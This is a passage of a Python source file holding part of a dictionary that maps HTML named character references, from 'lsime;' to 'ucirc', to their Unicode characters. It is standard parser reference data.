        'lsime;': '\u2a8d',
        'lsimg;': '\u2a8f',
        'lsqb;': '[',
        'lsquo;': '\u2018',
        'lsquor;': '\u201a',
        'Lstrok;': '\u0141',
        'lstrok;': '\u0142',
        'LT': '<',
        'lt': '<',
        'LT;': '<',
        'Lt;': '\u226a',
        'lt;': '<',
        'ltcc;': '\u2aa6',
        'ltcir;': '\u2a79',
        'ltdot;': '\u22d6',
        'lthree;': '\u22cb',
        'ltimes;': '\u22c9',
        'ltlarr;': '\u2976',
        'ltquest;': '\u2a7b',
        'ltri;': '\u25c3',
        'ltrie;': '\u22b4',
        'ltrif;': '\u25c2',
        'ltrPar;': '\u2996',
        'lurdshar;': '\u294a',
        'luruhar;': '\u2966',
        'lvertneqq;': '\u2268\ufe00',
        'lvnE;': '\u2268\ufe00',
        'macr': '\xaf',
        'macr;': '\xaf',
        'male;': '\u2642',
        'malt;': '\u2720',
        'maltese;': '\u2720',
        'Map;': '\u2905',
        'map;': '\u21a6',
        'mapsto;': '\u21a6',
        'mapstodown;': '\u21a7',
        'mapstoleft;': '\u21a4',
        'mapstoup;': '\u21a5',
        'marker;': '\u25ae',
        'mcomma;': '\u2a29',
        'Mcy;': '\u041c',
        'mcy;': '\u043c',
        'mdash;': '\u2014',
        'mDDot;': '\u223a',
        'measuredangle;': '\u2221',
        'MediumSpace;': '\u205f',
        'Mellintrf;': '\u2133',
        'Mfr;': '\U0001d510',
        'mfr;': '\U0001d52a',
        'mho;': '\u2127',
        'micro': '\xb5',
        'micro;': '\xb5',
        'mid;': '\u2223',
        'midast;': '*',
        'midcir;': '\u2af0',
        'middot': '\xb7',
        'middot;': '\xb7',
        'minus;': '\u2212',
        'minusb;': '\u229f',
        'minusd;': '\u2238',
        'minusdu;': '\u2a2a',
        'MinusPlus;': '\u2213',
        'mlcp;': '\u2adb',
        'mldr;': '\u2026',
        'mnplus;': '\u2213',
        'models;': '\u22a7',
        'Mopf;': '\U0001d544',
        'mopf;': '\U0001d55e',
        'mp;': '\u2213',
        'Mscr;': '\u2133',
        'mscr;': '\U0001d4c2',
        'mstpos;': '\u223e',
        'Mu;': '\u039c',
        'mu;': '\u03bc',
        'multimap;': '\u22b8',
        'mumap;': '\u22b8',
        'nabla;': '\u2207',
        'Nacute;': '\u0143',
        'nacute;': '\u0144',
        'nang;': '\u2220\u20d2',
        'nap;': '\u2249',
        'napE;': '\u2a70\u0338',
        'napid;': '\u224b\u0338',
        'napos;': '\u0149',
        'napprox;': '\u2249',
        'natur;': '\u266e',
        'natural;': '\u266e',
        'naturals;': '\u2115',
        'nbsp': '\xa0',
        'nbsp;': '\xa0',
        'nbump;': '\u224e\u0338',
        'nbumpe;': '\u224f\u0338',
        'ncap;': '\u2a43',
        'Ncaron;': '\u0147',
        'ncaron;': '\u0148',
        'Ncedil;': '\u0145',
        'ncedil;': '\u0146',
        'ncong;': '\u2247',
        'ncongdot;': '\u2a6d\u0338',
        'ncup;': '\u2a42',
        'Ncy;': '\u041d',
        'ncy;': '\u043d',
        'ndash;': '\u2013',
        'ne;': '\u2260',
        'nearhk;': '\u2924',
        'neArr;': '\u21d7',
        'nearr;': '\u2197',
        'nearrow;': '\u2197',
        'nedot;': '\u2250\u0338',
        'NegativeMediumSpace;': '\u200b',
        'NegativeThickSpace;': '\u200b',
        'NegativeThinSpace;': '\u200b',
        'NegativeVeryThinSpace;': '\u200b',
        'nequiv;': '\u2262',
        'nesear;': '\u2928',
        'nesim;': '\u2242\u0338',
        'NestedGreaterGreater;': '\u226b',
        'NestedLessLess;': '\u226a',
        'NewLine;': '\n',
        'nexist;': '\u2204',
        'nexists;': '\u2204',
        'Nfr;': '\U0001d511',
        'nfr;': '\U0001d52b',
        'ngE;': '\u2267\u0338',
        'nge;': '\u2271',
        'ngeq;': '\u2271',
        'ngeqq;': '\u2267\u0338',
        'ngeqslant;': '\u2a7e\u0338',
        'nges;': '\u2a7e\u0338',
        'nGg;': '\u22d9\u0338',
        'ngsim;': '\u2275',
        'nGt;': '\u226b\u20d2',
        'ngt;': '\u226f',
        'ngtr;': '\u226f',
        'nGtv;': '\u226b\u0338',
        'nhArr;': '\u21ce',
        'nharr;': '\u21ae',
        'nhpar;': '\u2af2',
        'ni;': '\u220b',
        'nis;': '\u22fc',
        'nisd;': '\u22fa',
        'niv;': '\u220b',
        'NJcy;': '\u040a',
        'njcy;': '\u045a',
        'nlArr;': '\u21cd',
        'nlarr;': '\u219a',
        'nldr;': '\u2025',
        'nlE;': '\u2266\u0338',
        'nle;': '\u2270',
        'nLeftarrow;': '\u21cd',
        'nleftarrow;': '\u219a',
        'nLeftrightarrow;': '\u21ce',
        'nleftrightarrow;': '\u21ae',
        'nleq;': '\u2270',
        'nleqq;': '\u2266\u0338',
        'nleqslant;': '\u2a7d\u0338',
        'nles;': '\u2a7d\u0338',
        'nless;': '\u226e',
        'nLl;': '\u22d8\u0338',
        'nlsim;': '\u2274',
        'nLt;': '\u226a\u20d2',
        'nlt;': '\u226e',
        'nltri;': '\u22ea',
        'nltrie;': '\u22ec',
        'nLtv;': '\u226a\u0338',
        'nmid;': '\u2224',
        'NoBreak;': '\u2060',
        'NonBreakingSpace;': '\xa0',
        'Nopf;': '\u2115',
        'nopf;': '\U0001d55f',
        'not': '\xac',
        'Not;': '\u2aec',
        'not;': '\xac',
        'NotCongruent;': '\u2262',
        'NotCupCap;': '\u226d',
        'NotDoubleVerticalBar;': '\u2226',
        'NotElement;': '\u2209',
        'NotEqual;': '\u2260',
        'NotEqualTilde;': '\u2242\u0338',
        'NotExists;': '\u2204',
        'NotGreater;': '\u226f',
        'NotGreaterEqual;': '\u2271',
        'NotGreaterFullEqual;': '\u2267\u0338',
        'NotGreaterGreater;': '\u226b\u0338',
        'NotGreaterLess;': '\u2279',
        'NotGreaterSlantEqual;': '\u2a7e\u0338',
        'NotGreaterTilde;': '\u2275',
        'NotHumpDownHump;': '\u224e\u0338',
        'NotHumpEqual;': '\u224f\u0338',
        'notin;': '\u2209',
        'notindot;': '\u22f5\u0338',
        'notinE;': '\u22f9\u0338',
        'notinva;': '\u2209',
        'notinvb;': '\u22f7',
        'notinvc;': '\u22f6',
        'NotLeftTriangle;': '\u22ea',
        'NotLeftTriangleBar;': '\u29cf\u0338',
        'NotLeftTriangleEqual;': '\u22ec',
        'NotLess;': '\u226e',
        'NotLessEqual;': '\u2270',
        'NotLessGreater;': '\u2278',
        'NotLessLess;': '\u226a\u0338',
        'NotLessSlantEqual;': '\u2a7d\u0338',
        'NotLessTilde;': '\u2274',
        'NotNestedGreaterGreater;': '\u2aa2\u0338',
        'NotNestedLessLess;': '\u2aa1\u0338',
        'notni;': '\u220c',
        'notniva;': '\u220c',
        'notnivb;': '\u22fe',
        'notnivc;': '\u22fd',
        'NotPrecedes;': '\u2280',
        'NotPrecedesEqual;': '\u2aaf\u0338',
        'NotPrecedesSlantEqual;': '\u22e0',
        'NotReverseElement;': '\u220c',
        'NotRightTriangle;': '\u22eb',
        'NotRightTriangleBar;': '\u29d0\u0338',
        'NotRightTriangleEqual;': '\u22ed',
        'NotSquareSubset;': '\u228f\u0338',
        'NotSquareSubsetEqual;': '\u22e2',
        'NotSquareSuperset;': '\u2290\u0338',
        'NotSquareSupersetEqual;': '\u22e3',
        'NotSubset;': '\u2282\u20d2',
        'NotSubsetEqual;': '\u2288',
        'NotSucceeds;': '\u2281',
        'NotSucceedsEqual;': '\u2ab0\u0338',
        'NotSucceedsSlantEqual;': '\u22e1',
        'NotSucceedsTilde;': '\u227f\u0338',
        'NotSuperset;': '\u2283\u20d2',
        'NotSupersetEqual;': '\u2289',
        'NotTilde;': '\u2241',
        'NotTildeEqual;': '\u2244',
        'NotTildeFullEqual;': '\u2247',
        'NotTildeTilde;': '\u2249',
        'NotVerticalBar;': '\u2224',
        'npar;': '\u2226',
        'nparallel;': '\u2226',
        'nparsl;': '\u2afd\u20e5',
        'npart;': '\u2202\u0338',
        'npolint;': '\u2a14',
        'npr;': '\u2280',
        'nprcue;': '\u22e0',
        'npre;': '\u2aaf\u0338',
        'nprec;': '\u2280',
        'npreceq;': '\u2aaf\u0338',
        'nrArr;': '\u21cf',
        'nrarr;': '\u219b',
        'nrarrc;': '\u2933\u0338',
        'nrarrw;': '\u219d\u0338',
        'nRightarrow;': '\u21cf',
        'nrightarrow;': '\u219b',
        'nrtri;': '\u22eb',
        'nrtrie;': '\u22ed',
        'nsc;': '\u2281',
        'nsccue;': '\u22e1',
        'nsce;': '\u2ab0\u0338',
        'Nscr;': '\U0001d4a9',
        'nscr;': '\U0001d4c3',
        'nshortmid;': '\u2224',
        'nshortparallel;': '\u2226',
        'nsim;': '\u2241',
        'nsime;': '\u2244',
        'nsimeq;': '\u2244',
        'nsmid;': '\u2224',
        'nspar;': '\u2226',
        'nsqsube;': '\u22e2',
        'nsqsupe;': '\u22e3',
        'nsub;': '\u2284',
        'nsubE;': '\u2ac5\u0338',
        'nsube;': '\u2288',
        'nsubset;': '\u2282\u20d2',
        'nsubseteq;': '\u2288',
        'nsubseteqq;': '\u2ac5\u0338',
        'nsucc;': '\u2281',
        'nsucceq;': '\u2ab0\u0338',
        'nsup;': '\u2285',
        'nsupE;': '\u2ac6\u0338',
        'nsupe;': '\u2289',
        'nsupset;': '\u2283\u20d2',
        'nsupseteq;': '\u2289',
        'nsupseteqq;': '\u2ac6\u0338',
        'ntgl;': '\u2279',
        'Ntilde': '\xd1',
        'ntilde': '\xf1',
        'Ntilde;': '\xd1',
        'ntilde;': '\xf1',
        'ntlg;': '\u2278',
        'ntriangleleft;': '\u22ea',
        'ntrianglelefteq;': '\u22ec',
        'ntriangleright;': '\u22eb',
        'ntrianglerighteq;': '\u22ed',
        'Nu;': '\u039d',
        'nu;': '\u03bd',
        'num;': '#',
        'numero;': '\u2116',
        'numsp;': '\u2007',
        'nvap;': '\u224d\u20d2',
        'nVDash;': '\u22af',
        'nVdash;': '\u22ae',
        'nvDash;': '\u22ad',
        'nvdash;': '\u22ac',
        'nvge;': '\u2265\u20d2',
        'nvgt;': '>\u20d2',
        'nvHarr;': '\u2904',
        'nvinfin;': '\u29de',
        'nvlArr;': '\u2902',
        'nvle;': '\u2264\u20d2',
        'nvlt;': '<\u20d2',
        'nvltrie;': '\u22b4\u20d2',
        'nvrArr;': '\u2903',
        'nvrtrie;': '\u22b5\u20d2',
        'nvsim;': '\u223c\u20d2',
        'nwarhk;': '\u2923',
        'nwArr;': '\u21d6',
        'nwarr;': '\u2196',
        'nwarrow;': '\u2196',
        'nwnear;': '\u2927',
        'Oacute': '\xd3',
        'oacute': '\xf3',
        'Oacute;': '\xd3',
        'oacute;': '\xf3',
        'oast;': '\u229b',
        'ocir;': '\u229a',
        'Ocirc': '\xd4',
        'ocirc': '\xf4',
        'Ocirc;': '\xd4',
        'ocirc;': '\xf4',
        'Ocy;': '\u041e',
        'ocy;': '\u043e',
        'odash;': '\u229d',
        'Odblac;': '\u0150',
        'odblac;': '\u0151',
        'odiv;': '\u2a38',
        'odot;': '\u2299',
        'odsold;': '\u29bc',
        'OElig;': '\u0152',
        'oelig;': '\u0153',
        'ofcir;': '\u29bf',
        'Ofr;': '\U0001d512',
        'ofr;': '\U0001d52c',
        'ogon;': '\u02db',
        'Ograve': '\xd2',
        'ograve': '\xf2',
        'Ograve;': '\xd2',
        'ograve;': '\xf2',
        'ogt;': '\u29c1',
        'ohbar;': '\u29b5',
        'ohm;': '\u03a9',
        'oint;': '\u222e',
        'olarr;': '\u21ba',
        'olcir;': '\u29be',
        'olcross;': '\u29bb',
        'oline;': '\u203e',
        'olt;': '\u29c0',
        'Omacr;': '\u014c',
        'omacr;': '\u014d',
        'Omega;': '\u03a9',
        'omega;': '\u03c9',
        'Omicron;': '\u039f',
        'omicron;': '\u03bf',
        'omid;': '\u29b6',
        'ominus;': '\u2296',
        'Oopf;': '\U0001d546',
        'oopf;': '\U0001d560',
        'opar;': '\u29b7',
        'OpenCurlyDoubleQuote;': '\u201c',
        'OpenCurlyQuote;': '\u2018',
        'operp;': '\u29b9',
        'oplus;': '\u2295',
        'Or;': '\u2a54',
        'or;': '\u2228',
        'orarr;': '\u21bb',
        'ord;': '\u2a5d',
        'order;': '\u2134',
        'orderof;': '\u2134',
        'ordf': '\xaa',
        'ordf;': '\xaa',
        'ordm': '\xba',
        'ordm;': '\xba',
        'origof;': '\u22b6',
        'oror;': '\u2a56',
        'orslope;': '\u2a57',
        'orv;': '\u2a5b',
        'oS;': '\u24c8',
        'Oscr;': '\U0001d4aa',
        'oscr;': '\u2134',
        'Oslash': '\xd8',
        'oslash': '\xf8',
        'Oslash;': '\xd8',
        'oslash;': '\xf8',
        'osol;': '\u2298',
        'Otilde': '\xd5',
        'otilde': '\xf5',
        'Otilde;': '\xd5',
        'otilde;': '\xf5',
        'Otimes;': '\u2a37',
        'otimes;': '\u2297',
        'otimesas;': '\u2a36',
        'Ouml': '\xd6',
        'ouml': '\xf6',
        'Ouml;': '\xd6',
        'ouml;': '\xf6',
        'ovbar;': '\u233d',
        'OverBar;': '\u203e',
        'OverBrace;': '\u23de',
        'OverBracket;': '\u23b4',
        'OverParenthesis;': '\u23dc',
        'par;': '\u2225',
        'para': '\xb6',
        'para;': '\xb6',
        'parallel;': '\u2225',
        'parsim;': '\u2af3',
        'parsl;': '\u2afd',
        'part;': '\u2202',
        'PartialD;': '\u2202',
        'Pcy;': '\u041f',
        'pcy;': '\u043f',
        'percnt;': '%',
        'period;': '.',
        'permil;': '\u2030',
        'perp;': '\u22a5',
        'pertenk;': '\u2031',
        'Pfr;': '\U0001d513',
        'pfr;': '\U0001d52d',
        'Phi;': '\u03a6',
        'phi;': '\u03c6',
        'phiv;': '\u03d5',
        'phmmat;': '\u2133',
        'phone;': '\u260e',
        'Pi;': '\u03a0',
        'pi;': '\u03c0',
        'pitchfork;': '\u22d4',
        'piv;': '\u03d6',
        'planck;': '\u210f',
        'planckh;': '\u210e',
        'plankv;': '\u210f',
        'plus;': '+',
        'plusacir;': '\u2a23',
        'plusb;': '\u229e',
        'pluscir;': '\u2a22',
        'plusdo;': '\u2214',
        'plusdu;': '\u2a25',
        'pluse;': '\u2a72',
        'PlusMinus;': '\xb1',
        'plusmn': '\xb1',
        'plusmn;': '\xb1',
        'plussim;': '\u2a26',
        'plustwo;': '\u2a27',
        'pm;': '\xb1',
        'Poincareplane;': '\u210c',
        'pointint;': '\u2a15',
        'Popf;': '\u2119',
        'popf;': '\U0001d561',
        'pound': '\xa3',
        'pound;': '\xa3',
        'Pr;': '\u2abb',
        'pr;': '\u227a',
        'prap;': '\u2ab7',
        'prcue;': '\u227c',
        'prE;': '\u2ab3',
        'pre;': '\u2aaf',
        'prec;': '\u227a',
        'precapprox;': '\u2ab7',
        'preccurlyeq;': '\u227c',
        'Precedes;': '\u227a',
        'PrecedesEqual;': '\u2aaf',
        'PrecedesSlantEqual;': '\u227c',
        'PrecedesTilde;': '\u227e',
        'preceq;': '\u2aaf',
        'precnapprox;': '\u2ab9',
        'precneqq;': '\u2ab5',
        'precnsim;': '\u22e8',
        'precsim;': '\u227e',
        'Prime;': '\u2033',
        'prime;': '\u2032',
        'primes;': '\u2119',
        'prnap;': '\u2ab9',
        'prnE;': '\u2ab5',
        'prnsim;': '\u22e8',
        'prod;': '\u220f',
        'Product;': '\u220f',
        'profalar;': '\u232e',
        'profline;': '\u2312',
        'profsurf;': '\u2313',
        'prop;': '\u221d',
        'Proportion;': '\u2237',
        'Proportional;': '\u221d',
        'propto;': '\u221d',
        'prsim;': '\u227e',
        'prurel;': '\u22b0',
        'Pscr;': '\U0001d4ab',
        'pscr;': '\U0001d4c5',
        'Psi;': '\u03a8',
        'psi;': '\u03c8',
        'puncsp;': '\u2008',
        'Qfr;': '\U0001d514',
        'qfr;': '\U0001d52e',
        'qint;': '\u2a0c',
        'Qopf;': '\u211a',
        'qopf;': '\U0001d562',
        'qprime;': '\u2057',
        'Qscr;': '\U0001d4ac',
        'qscr;': '\U0001d4c6',
        'quaternions;': '\u210d',
        'quatint;': '\u2a16',
        'quest;': '?',
        'questeq;': '\u225f',
        'QUOT': '"',
        'quot': '"',
        'QUOT;': '"',
        'quot;': '"',
        'rAarr;': '\u21db',
        'race;': '\u223d\u0331',
        'Racute;': '\u0154',
        'racute;': '\u0155',
        'radic;': '\u221a',
        'raemptyv;': '\u29b3',
        'Rang;': '\u27eb',
        'rang;': '\u27e9',
        'rangd;': '\u2992',
        'range;': '\u29a5',
        'rangle;': '\u27e9',
        'raquo': '\xbb',
        'raquo;': '\xbb',
        'Rarr;': '\u21a0',
        'rArr;': '\u21d2',
        'rarr;': '\u2192',
        'rarrap;': '\u2975',
        'rarrb;': '\u21e5',
        'rarrbfs;': '\u2920',
        'rarrc;': '\u2933',
        'rarrfs;': '\u291e',
        'rarrhk;': '\u21aa',
        'rarrlp;': '\u21ac',
        'rarrpl;': '\u2945',
        'rarrsim;': '\u2974',
        'Rarrtl;': '\u2916',
        'rarrtl;': '\u21a3',
        'rarrw;': '\u219d',
        'rAtail;': '\u291c',
        'ratail;': '\u291a',
        'ratio;': '\u2236',
        'rationals;': '\u211a',
        'RBarr;': '\u2910',
        'rBarr;': '\u290f',
        'rbarr;': '\u290d',
        'rbbrk;': '\u2773',
        'rbrace;': '}',
        'rbrack;': ']',
        'rbrke;': '\u298c',
        'rbrksld;': '\u298e',
        'rbrkslu;': '\u2990',
        'Rcaron;': '\u0158',
        'rcaron;': '\u0159',
        'Rcedil;': '\u0156',
        'rcedil;': '\u0157',
        'rceil;': '\u2309',
        'rcub;': '}',
        'Rcy;': '\u0420',
        'rcy;': '\u0440',
        'rdca;': '\u2937',
        'rdldhar;': '\u2969',
        'rdquo;': '\u201d',
        'rdquor;': '\u201d',
        'rdsh;': '\u21b3',
        'Re;': '\u211c',
        'real;': '\u211c',
        'realine;': '\u211b',
        'realpart;': '\u211c',
        'reals;': '\u211d',
        'rect;': '\u25ad',
        'REG': '\xae',
        'reg': '\xae',
        'REG;': '\xae',
        'reg;': '\xae',
        'ReverseElement;': '\u220b',
        'ReverseEquilibrium;': '\u21cb',
        'ReverseUpEquilibrium;': '\u296f',
        'rfisht;': '\u297d',
        'rfloor;': '\u230b',
        'Rfr;': '\u211c',
        'rfr;': '\U0001d52f',
        'rHar;': '\u2964',
        'rhard;': '\u21c1',
        'rharu;': '\u21c0',
        'rharul;': '\u296c',
        'Rho;': '\u03a1',
        'rho;': '\u03c1',
        'rhov;': '\u03f1',
        'RightAngleBracket;': '\u27e9',
        'RightArrow;': '\u2192',
        'Rightarrow;': '\u21d2',
        'rightarrow;': '\u2192',
        'RightArrowBar;': '\u21e5',
        'RightArrowLeftArrow;': '\u21c4',
        'rightarrowtail;': '\u21a3',
        'RightCeiling;': '\u2309',
        'RightDoubleBracket;': '\u27e7',
        'RightDownTeeVector;': '\u295d',
        'RightDownVector;': '\u21c2',
        'RightDownVectorBar;': '\u2955',
        'RightFloor;': '\u230b',
        'rightharpoondown;': '\u21c1',
        'rightharpoonup;': '\u21c0',
        'rightleftarrows;': '\u21c4',
        'rightleftharpoons;': '\u21cc',
        'rightrightarrows;': '\u21c9',
        'rightsquigarrow;': '\u219d',
        'RightTee;': '\u22a2',
        'RightTeeArrow;': '\u21a6',
        'RightTeeVector;': '\u295b',
        'rightthreetimes;': '\u22cc',
        'RightTriangle;': '\u22b3',
        'RightTriangleBar;': '\u29d0',
        'RightTriangleEqual;': '\u22b5',
        'RightUpDownVector;': '\u294f',
        'RightUpTeeVector;': '\u295c',
        'RightUpVector;': '\u21be',
        'RightUpVectorBar;': '\u2954',
        'RightVector;': '\u21c0',
        'RightVectorBar;': '\u2953',
        'ring;': '\u02da',
        'risingdotseq;': '\u2253',
        'rlarr;': '\u21c4',
        'rlhar;': '\u21cc',
        'rlm;': '\u200f',
        'rmoust;': '\u23b1',
        'rmoustache;': '\u23b1',
        'rnmid;': '\u2aee',
        'roang;': '\u27ed',
        'roarr;': '\u21fe',
        'robrk;': '\u27e7',
        'ropar;': '\u2986',
        'Ropf;': '\u211d',
        'ropf;': '\U0001d563',
        'roplus;': '\u2a2e',
        'rotimes;': '\u2a35',
        'RoundImplies;': '\u2970',
        'rpar;': ')',
        'rpargt;': '\u2994',
        'rppolint;': '\u2a12',
        'rrarr;': '\u21c9',
        'Rrightarrow;': '\u21db',
        'rsaquo;': '\u203a',
        'Rscr;': '\u211b',
        'rscr;': '\U0001d4c7',
        'Rsh;': '\u21b1',
        'rsh;': '\u21b1',
        'rsqb;': ']',
        'rsquo;': '\u2019',
        'rsquor;': '\u2019',
        'rthree;': '\u22cc',
        'rtimes;': '\u22ca',
        'rtri;': '\u25b9',
        'rtrie;': '\u22b5',
        'rtrif;': '\u25b8',
        'rtriltri;': '\u29ce',
        'RuleDelayed;': '\u29f4',
        'ruluhar;': '\u2968',
        'rx;': '\u211e',
        'Sacute;': '\u015a',
        'sacute;': '\u015b',
        'sbquo;': '\u201a',
        'Sc;': '\u2abc',
        'sc;': '\u227b',
        'scap;': '\u2ab8',
        'Scaron;': '\u0160',
        'scaron;': '\u0161',
        'sccue;': '\u227d',
        'scE;': '\u2ab4',
        'sce;': '\u2ab0',
        'Scedil;': '\u015e',
        'scedil;': '\u015f',
        'Scirc;': '\u015c',
        'scirc;': '\u015d',
        'scnap;': '\u2aba',
        'scnE;': '\u2ab6',
        'scnsim;': '\u22e9',
        'scpolint;': '\u2a13',
        'scsim;': '\u227f',
        'Scy;': '\u0421',
        'scy;': '\u0441',
        'sdot;': '\u22c5',
        'sdotb;': '\u22a1',
        'sdote;': '\u2a66',
        'searhk;': '\u2925',
        'seArr;': '\u21d8',
        'searr;': '\u2198',
        'searrow;': '\u2198',
        'sect': '\xa7',
        'sect;': '\xa7',
        'semi;': ';',
        'seswar;': '\u2929',
        'setminus;': '\u2216',
        'setmn;': '\u2216',
        'sext;': '\u2736',
        'Sfr;': '\U0001d516',
        'sfr;': '\U0001d530',
        'sfrown;': '\u2322',
        'sharp;': '\u266f',
        'SHCHcy;': '\u0429',
        'shchcy;': '\u0449',
        'SHcy;': '\u0428',
        'shcy;': '\u0448',
        'ShortDownArrow;': '\u2193',
        'ShortLeftArrow;': '\u2190',
        'shortmid;': '\u2223',
        'shortparallel;': '\u2225',
        'ShortRightArrow;': '\u2192',
        'ShortUpArrow;': '\u2191',
        'shy': '\xad',
        'shy;': '\xad',
        'Sigma;': '\u03a3',
        'sigma;': '\u03c3',
        'sigmaf;': '\u03c2',
        'sigmav;': '\u03c2',
        'sim;': '\u223c',
        'simdot;': '\u2a6a',
        'sime;': '\u2243',
        'simeq;': '\u2243',
        'simg;': '\u2a9e',
        'simgE;': '\u2aa0',
        'siml;': '\u2a9d',
        'simlE;': '\u2a9f',
        'simne;': '\u2246',
        'simplus;': '\u2a24',
        'simrarr;': '\u2972',
        'slarr;': '\u2190',
        'SmallCircle;': '\u2218',
        'smallsetminus;': '\u2216',
        'smashp;': '\u2a33',
        'smeparsl;': '\u29e4',
        'smid;': '\u2223',
        'smile;': '\u2323',
        'smt;': '\u2aaa',
        'smte;': '\u2aac',
        'smtes;': '\u2aac\ufe00',
        'SOFTcy;': '\u042c',
        'softcy;': '\u044c',
        'sol;': '/',
        'solb;': '\u29c4',
        'solbar;': '\u233f',
        'Sopf;': '\U0001d54a',
        'sopf;': '\U0001d564',
        'spades;': '\u2660',
        'spadesuit;': '\u2660',
        'spar;': '\u2225',
        'sqcap;': '\u2293',
        'sqcaps;': '\u2293\ufe00',
        'sqcup;': '\u2294',
        'sqcups;': '\u2294\ufe00',
        'Sqrt;': '\u221a',
        'sqsub;': '\u228f',
        'sqsube;': '\u2291',
        'sqsubset;': '\u228f',
        'sqsubseteq;': '\u2291',
        'sqsup;': '\u2290',
        'sqsupe;': '\u2292',
        'sqsupset;': '\u2290',
        'sqsupseteq;': '\u2292',
        'squ;': '\u25a1',
        'Square;': '\u25a1',
        'square;': '\u25a1',
        'SquareIntersection;': '\u2293',
        'SquareSubset;': '\u228f',
        'SquareSubsetEqual;': '\u2291',
        'SquareSuperset;': '\u2290',
        'SquareSupersetEqual;': '\u2292',
        'SquareUnion;': '\u2294',
        'squarf;': '\u25aa',
        'squf;': '\u25aa',
        'srarr;': '\u2192',
        'Sscr;': '\U0001d4ae',
        'sscr;': '\U0001d4c8',
        'ssetmn;': '\u2216',
        'ssmile;': '\u2323',
        'sstarf;': '\u22c6',
        'Star;': '\u22c6',
        'star;': '\u2606',
        'starf;': '\u2605',
        'straightepsilon;': '\u03f5',
        'straightphi;': '\u03d5',
        'strns;': '\xaf',
        'Sub;': '\u22d0',
        'sub;': '\u2282',
        'subdot;': '\u2abd',
        'subE;': '\u2ac5',
        'sube;': '\u2286',
        'subedot;': '\u2ac3',
        'submult;': '\u2ac1',
        'subnE;': '\u2acb',
        'subne;': '\u228a',
        'subplus;': '\u2abf',
        'subrarr;': '\u2979',
        'Subset;': '\u22d0',
        'subset;': '\u2282',
        'subseteq;': '\u2286',
        'subseteqq;': '\u2ac5',
        'SubsetEqual;': '\u2286',
        'subsetneq;': '\u228a',
        'subsetneqq;': '\u2acb',
        'subsim;': '\u2ac7',
        'subsub;': '\u2ad5',
        'subsup;': '\u2ad3',
        'succ;': '\u227b',
        'succapprox;': '\u2ab8',
        'succcurlyeq;': '\u227d',
        'Succeeds;': '\u227b',
        'SucceedsEqual;': '\u2ab0',
        'SucceedsSlantEqual;': '\u227d',
        'SucceedsTilde;': '\u227f',
        'succeq;': '\u2ab0',
        'succnapprox;': '\u2aba',
        'succneqq;': '\u2ab6',
        'succnsim;': '\u22e9',
        'succsim;': '\u227f',
        'SuchThat;': '\u220b',
        'Sum;': '\u2211',
        'sum;': '\u2211',
        'sung;': '\u266a',
        'sup1': '\xb9',
        'sup1;': '\xb9',
        'sup2': '\xb2',
        'sup2;': '\xb2',
        'sup3': '\xb3',
        'sup3;': '\xb3',
        'Sup;': '\u22d1',
        'sup;': '\u2283',
        'supdot;': '\u2abe',
        'supdsub;': '\u2ad8',
        'supE;': '\u2ac6',
        'supe;': '\u2287',
        'supedot;': '\u2ac4',
        'Superset;': '\u2283',
        'SupersetEqual;': '\u2287',
        'suphsol;': '\u27c9',
        'suphsub;': '\u2ad7',
        'suplarr;': '\u297b',
        'supmult;': '\u2ac2',
        'supnE;': '\u2acc',
        'supne;': '\u228b',
        'supplus;': '\u2ac0',
        'Supset;': '\u22d1',
        'supset;': '\u2283',
        'supseteq;': '\u2287',
        'supseteqq;': '\u2ac6',
        'supsetneq;': '\u228b',
        'supsetneqq;': '\u2acc',
        'supsim;': '\u2ac8',
        'supsub;': '\u2ad4',
        'supsup;': '\u2ad6',
        'swarhk;': '\u2926',
        'swArr;': '\u21d9',
        'swarr;': '\u2199',
        'swarrow;': '\u2199',
        'swnwar;': '\u292a',
        'szlig': '\xdf',
        'szlig;': '\xdf',
        'Tab;': '\t',
        'target;': '\u2316',
        'Tau;': '\u03a4',
        'tau;': '\u03c4',
        'tbrk;': '\u23b4',
        'Tcaron;': '\u0164',
        'tcaron;': '\u0165',
        'Tcedil;': '\u0162',
        'tcedil;': '\u0163',
        'Tcy;': '\u0422',
        'tcy;': '\u0442',
        'tdot;': '\u20db',
        'telrec;': '\u2315',
        'Tfr;': '\U0001d517',
        'tfr;': '\U0001d531',
        'there4;': '\u2234',
        'Therefore;': '\u2234',
        'therefore;': '\u2234',
        'Theta;': '\u0398',
        'theta;': '\u03b8',
        'thetasym;': '\u03d1',
        'thetav;': '\u03d1',
        'thickapprox;': '\u2248',
        'thicksim;': '\u223c',
        'ThickSpace;': '\u205f\u200a',
        'thinsp;': '\u2009',
        'ThinSpace;': '\u2009',
        'thkap;': '\u2248',
        'thksim;': '\u223c',
        'THORN': '\xde',
        'thorn': '\xfe',
        'THORN;': '\xde',
        'thorn;': '\xfe',
        'Tilde;': '\u223c',
        'tilde;': '\u02dc',
        'TildeEqual;': '\u2243',
        'TildeFullEqual;': '\u2245',
        'TildeTilde;': '\u2248',
        'times': '\xd7',
        'times;': '\xd7',
        'timesb;': '\u22a0',
        'timesbar;': '\u2a31',
        'timesd;': '\u2a30',
        'tint;': '\u222d',
        'toea;': '\u2928',
        'top;': '\u22a4',
        'topbot;': '\u2336',
        'topcir;': '\u2af1',
        'Topf;': '\U0001d54b',
        'topf;': '\U0001d565',
        'topfork;': '\u2ada',
        'tosa;': '\u2929',
        'tprime;': '\u2034',
        'TRADE;': '\u2122',
        'trade;': '\u2122',
        'triangle;': '\u25b5',
        'triangledown;': '\u25bf',
        'triangleleft;': '\u25c3',
        'trianglelefteq;': '\u22b4',
        'triangleq;': '\u225c',
        'triangleright;': '\u25b9',
        'trianglerighteq;': '\u22b5',
        'tridot;': '\u25ec',
        'trie;': '\u225c',
        'triminus;': '\u2a3a',
        'TripleDot;': '\u20db',
        'triplus;': '\u2a39',
        'trisb;': '\u29cd',
        'tritime;': '\u2a3b',
        'trpezium;': '\u23e2',
        'Tscr;': '\U0001d4af',
        'tscr;': '\U0001d4c9',
        'TScy;': '\u0426',
        'tscy;': '\u0446',
        'TSHcy;': '\u040b',
        'tshcy;': '\u045b',
        'Tstrok;': '\u0166',
        'tstrok;': '\u0167',
        'twixt;': '\u226c',
        'twoheadleftarrow;': '\u219e',
        'twoheadrightarrow;': '\u21a0',
        'Uacute': '\xda',
        'uacute': '\xfa',
        'Uacute;': '\xda',
        'uacute;': '\xfa',
        'Uarr;': '\u219f',
        'uArr;': '\u21d1',
        'uarr;': '\u2191',
        'Uarrocir;': '\u2949',
        'Ubrcy;': '\u040e',
        'ubrcy;': '\u045e',
        'Ubreve;': '\u016c',
        'ubreve;': '\u016d',
        'Ucirc': '\xdb',
        'ucirc': '\xfb',
